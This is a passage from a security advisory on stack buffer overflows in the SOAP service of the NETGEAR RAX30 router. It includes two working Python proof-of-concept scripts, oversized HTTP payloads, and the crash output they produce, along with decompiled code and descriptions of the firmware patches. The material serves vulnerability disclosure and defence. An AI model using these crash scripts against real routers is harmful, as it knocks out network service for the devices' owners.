CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDD
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A
Content-Length: 1
Host: 192.168.2.1:5043

A

Python Proof of Concept
Script

The following proof of concept script (soap_protocol_overflow.py) can
be executed to trigger the protocol stack overflow.

#!/usr/bin/env python3

import argparse
import requests
import urllib3
import ssl
import socket

def overflowHTTPProtocol(hostname, port, payload):
request = “””POST /soap/server_sa/ “””+payload+“””
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A
Content-Length: 1
Host: “””+hostname+“””:”””+str(port)+“””

A”””

# Create SSL context
cxt = ssl.create_default_context()
cxt.check_hostname = False
cxt.verify_mode = ssl.CERT_NONE

# HTTPS Request
response = b“”
with socket.create_connection((args.domain, args.port)) as sock:
with cxt.wrap_socket(sock, server_hostname=args.domain) as ssock:
ssock.send(request.encode())
while True:
data = ssock.recv(2048)
if len(data) <= 0:
break
response += data

return response

if __name__ == “__main__”:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser(description=‘Crash the soap_serverd binary on NETGEAR RAX30 router with a protocol buffer overflow.’)
parser.add_argument(‘–domain’, default=‘routerlogin.net’, help=‘The NETGEAR router domain.’)
parser.add_argument(‘–port’, default=5043, type=int, help=‘The router soap server port.’)

args = parser.parse_args()

# Trigger Protocol Overflow
payload = (‘A’ * 2048) + (‘B’ * 2048) + (‘C’ * 2048) + (‘D’ * 4)

print(‘Sending payload…’)
overflowHTTPProtocol(args.domain, args.port, payload)

# Check we have crashed the SOAP service
try:
requests.post(‘https://’ + args.domain + ‘:’ + str(args.port) + ‘/soap/server_sa/’, data=‘A’, headers={
‘User-Agent’: ‘ksoap2-android/2.6.0+’,
‘SOAPAction’: ‘urn:NETGEAR-ROUTER:service:DeviceInfo:1#A’,
}, verify=False)
print(‘Payload failed to crash server.’)
except requests.exceptions.ConnectionError as e:
if ‘Connection refused’ in str(e) or ‘Connection aborted’ in str(e):
print(‘Payload crashed server!’)
else:
print(str(e))

On execution, the payload will be sent to the SOAP service and cause
it to crash on vulnerable firmware versions.

└─$ python3 soap_protocol_overflow.py –domain 192.168.1.1 –port 5043
Sending payload…
Payload crashed server!

Patch v1.0.10.94

The patch reduces the buffer sizes of the method, path and protocol
buffers. It restricts the total read size of the fgetsFile
function to 2048 bytes. It then limits the sscanf buffer
copy size to 511 bytes for each of the 512 byte buffers.

int handle_soapRequest(char *ip)
{

char line [2048];
char method [512];
char path [512];
char protocol [512];
char soapAction [2048];
char body [2048];

memset(line, 0, 2048);
memset(method, 0, 512);
memset(path, 0, 512);
memset(protocol, 0, 512);

int readCount = _fgetsFile(line, 2048);

int iVar1 = __isoc99_sscanf(line, “%511[^ ] %511[^ ] %511[^ ]”, method, path, protocol);

}

PSV-2023-0012
– SOAP Parameters Stack Buffer Overflow

Analysis

The loop which parses SOAP parameters in soap_action
(0x00016f78) [21] overflows the
RequestArg requestArgs [16]; variable [22] when more than
16 parameters are provided as there is no check on the number of
parameters [23]. The overwrite however is in the format of a
RequestArg [24] struct which means that the data being
overwrote is pointers to the controllable parameters.

struct RequestArg // <— [24]
{
char* key;
char* value;
int unk1;
};

void soap_action(int param_1, char *action, char *body, char *ip)
{

RequestArg requestArgs [16]; // <— [22]
RequestArg *args = requestArgs;
memset(args, 0, 0xc0);

strcpy(bodyQuery, “:Body>”);
bodyParser = strstr(body, bodyQuery);

bodyParser = bodyParser + 1;

int argc = 0;
do { // <— [21]

args->key = bodyParser;
args->value = code;
argc = argc + 1;
args = args + 1;
// <— [23] No check on arg count (argc)
} while (pcVar2[1] != );

}

HTTP Request

The following body payload containing many XML parameters triggers
the requestArgs stack variable overflow:

POST /soap/server_sa/ HTTP/1.0
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A
Content-Length: 1930
Host: 192.168.2.1:5043

<v:Body><n0:GetInfo><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a><a>b</a></n0:GetInfo></v:Body>

Python Proof of Concept
Script

The following proof of concept script (soap_parameters_overflow.py)
can be executed to trigger the parameter stack overflow.

#!/usr/bin/env python3

import argparse
import requests
import urllib3

if __name__ == “__main__”:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser(description=‘Crash soap_serverd binary on NETGEAR RAX30 router with an XML parameters overflow.’)
parser.add_argument(‘–domain’, default=‘routerlogin.net’, help=‘The NETGEAR router domain.’)
parser.add_argument(‘–port’, default=5043, type=int, help=‘The router soap server port.’)

args = parser.parse_args()

# Trigger XML parameter overflow
parameters = ‘<a>b</a>’ * 236
body = ‘<v:Body><n0:GetInfo>’ + parameters + ‘</n0:GetInfo></v:Body>’
print(‘Sending payload…’)
requests.post(‘https://’ + args.domain + ‘:’ + str(args.port) + ‘/soap/server_sa/’, data=body, headers={
‘User-Agent’: ‘ksoap2-android/2.6.0+’,
‘SOAPAction’: ‘urn:NETGEAR-ROUTER:service:DeviceInfo:1#A’,
}, verify=False)

# Check we have crashed the SOAP service
try:
requests.post(‘https://’ + args.domain + ‘:’ + str(args.port) + ‘/soap/server_sa/’, data=‘A’, headers={
‘User-Agent’: ‘ksoap2-android/2.6.0+’,
‘SOAPAction’: ‘urn:NETGEAR-ROUTER:service:DeviceInfo:1#A’,
}, verify=False)
print(‘Payload failed to crash server.’)
except requests.exceptions.ConnectionError as e:
if ‘Connection refused’ in str(e) or ‘Connection aborted’ in str(e):
print(‘Payload crashed server!’)
else:
print(str(e))

On execution, the payload will be sent to the SOAP service and cause
it to crash on vulnerable firmware versions.

└─$ python3 soap_parameters_overflow.py –domain 192.168.1.1 –port 5043
Sending payload…
Payload crashed server!

Patch v1.0.10.94

This vulnerability was patched by adding a bounds check within the
loop [1], causing it to exit the loop when the request argument count
reaches 16 to prevent the overflow.

void soap_action(int param_1, char *action, char *body, char *ip)
{

RequestArg requestArgs [16];
RequestArg *args = requestArgs;
memset(args, 0, 0xc0);

strcpy(bodyQuery, “:Body>”);
bodyParser = strstr(body, bodyQuery);

bodyParser = bodyParser + 1;

int argc = 0;
while (bodyParser = strchr(pcVar3 + 1,0x3c), bodyParser != (char *)0x0)
{

argc = argc + 1;
args->key = bodyParser;
args->value = code;
if ((pcVar3[1] == ) || (args = args + 1, argc == 16)) break; // [1] – argc bounds check
}

}

Conclusion

Overall, the security posture of custom binaries built by NETGEAR
contained many vulnerabilities, largely due to the widespread usage of
insecure C functions such as strcpy, strcat,
sprintf, or from off-by-one errors. However, the majority
of the binaries on the NETGEAR router were compiled with many
protections in place, including stack canaries, non-executable stack
(NX), position-independent code (PIE) and address layout randomization
(ASLR) enabled. These protections made many of the vulnerabilities
identified difficult to exploit on their own.

About The Author